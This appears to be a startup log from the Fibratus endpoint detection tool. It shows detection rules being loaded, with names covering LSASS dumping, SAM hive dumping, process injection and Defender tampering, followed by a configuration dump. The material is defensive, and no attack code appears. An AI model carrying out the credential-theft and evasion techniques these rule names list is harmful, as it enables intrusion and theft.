msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:53:40+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T16:53:40+01:00 level=info msg=bootstrapping with pid 19108. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T16:53:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false port=>25 content-type=>text/html to=>[] use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-audit-api=>true enable-registry=>true buffer-size=>512 enable-vamap=>true enable-threadpool=>false enable-thread=>true enable-dns=>false enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true flush-interval=>1s enable-mem=>false enable-net=>true stack-enrichment=>true max-buffers=>36 min-buffers=>16 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 formatter=>text max-age=>0 log-stdout=>true level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ serializer=>json enable-gzip=>false method=>POST enabled=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[]] elasticsearch=>[ healthcheck-interval=>10s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] sniff=>false index-name=>fibratus trace-log=>false timeout=>5s bulk-workers=>1 healthcheck=>true template-name=>fibratus flush-period=>1s enabled=>false gzip-compression=>false] amqp=>[ delivery-mode=>transient routing-key=>fibratus vhost=>/ url=>amqp://localhost:5672 durable=>false tls-insecure-skip-verify=>false enabled=>false exchange=>fibratus exchange-type=>topic passive=>false timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false enabled=>false excluded-files=>[] scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-mmaps=>false skip-files=>false skip-allocs=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-20T16:53:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:53:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:54:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T16:54:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:54:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:55:46+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T16:55:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T16:56:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 